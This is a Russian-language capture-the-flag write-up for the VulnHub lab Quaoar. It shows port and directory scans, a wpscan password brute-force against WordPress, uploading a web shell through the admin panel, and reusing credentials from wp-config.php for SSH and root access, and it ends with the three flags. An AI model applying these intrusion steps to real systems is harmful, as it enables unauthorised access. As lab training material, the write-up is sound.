VulnHub: Новая серия — hackfest2016 Quaoar

0
13

Всем доброго времени суток. Давно я не выкладывал райтапы лаб с VulnHub. За это время там появилась небольшая подборка образов виртуальных машин, готовых для взлома. В этой статье начнём разбор образов подготовленных к недавно прошедшему Hackfest 2016 CTF, а именно рассмотрим Quaoar, скачать которую вы можете тут

Всего, как следует из описания, присутствует 3 флага:

1. Получение доступа к оболочке;
2. Повышение привилегий до root;
3. Постэксплуатация.

С более подробным описанием желающие могут ознакомиться самостоятельно, поэтому приступим.

Флаг 1

После запуска виртуалки, нам любезно сообщают IP-адрес, по которому она доступна:

Поэтому сразу переходим к сканированию портов:

$ sudo nmap -p1-65535 192.168.1.75 -sV

Starting Nmap 7.01 ( nmap.org ) at 2017-04-16 16:26 MSK
Nmap scan report for 192.168.1.75
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.8.1-P1
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
110/tcp open pop3?
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3s?
MAC Address: 08:00:27:0A:CA:7B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

В описании говорилось про поиск директорий. Ищем:

$ sudo dirsearch -u http://192.168.1.75/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403 -r -f

Большая часть найденного это картинки в стиле этого:

Скрытый текст

В upload лежит какой-то сайт с захардкоженным ip’шником.

$ ./robotscan.py -u http://192.168.1.75/upload/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403

Менять ip мне лень, поэтому его пока оставим, а вот в директории wordpress полноценный блог. Плюс на него ссылается и файл robots.txt.
Посмотрим, что скажет wpscan:

$ sudo ./wpscan.rb —url http://192.168.1.75/wordpress/ —wordlist /usr/share/john/password.lst

Wpscan нашёл верный пароль, хоть и сам этого не понял. Логинимся в админке, и заливаем туда простенький шелл:

Первым делом посмотрим содержимое /etc/passwd

В домашней директории пользователя wpadmin, находим первый флаг:

Флаг2

Раз от админки в wordpress пароль оказался таким же как логин, стоит попробовать тот же приём и для ssh:

$ ssh wpadmin@192.168.1.75

Указав в качестве пароля wpadmin, успешно проваливаемся в оболочку. Поиск SUID/SGID файлов результата не принёс. Посмотрев конфиги на наличие хоть каких-то паролей, находим один интересный:
wpadmin@Quaoar:~$ cat wp-config.php

define(‘DB_NAME’, ‘wordpress’);
/** MySQL database username */
define(‘DB_USER’, ‘root’);
/** MySQL database password */
define(‘DB_PASSWORD’, ‘rootpassword!’);

Это когфиг для коннекта к БД, но вдруг этот пароль ещё и от учётки… Проверяем это и +1 флаг в домашней директории рута:

root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb

Флаг3

Если с первыми 2мя флагами всё более менее ясно, то поиск третьего занял слишком много времени. Я пытался найти ещё файлы с названием flag

root@Quaoar:~# find / -name flag.txt
/root/flag.txt
/home/wpadmin/flag.txt
root@Quaoar:~# find / -name flag

Но ничего. Попытка поиска по содержимому по слову flag, так же не принесла результата:

root@Quaoar:~# grep -r flag / | less

В конечном счёте было решено, что раз флаг — это MD5 хеш, то его вероятно можно отыскать с помощью регулярных выражений. Сказано, сделано:

root@Quaoar:~# egrep -r " [a-z0-9]{32,32}" /etc/ 2>/dev/null

/etc/cron.d/php5:# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! — d46795f84148fd338603d0d6a9dbf8de

Конечно, логично было бы предварительно просмотреть задачи в cron, но альтернатива тоже хорошо.

На этом всё. Все 3 флага найдены. Можно приступать к следующему уровню.

Источник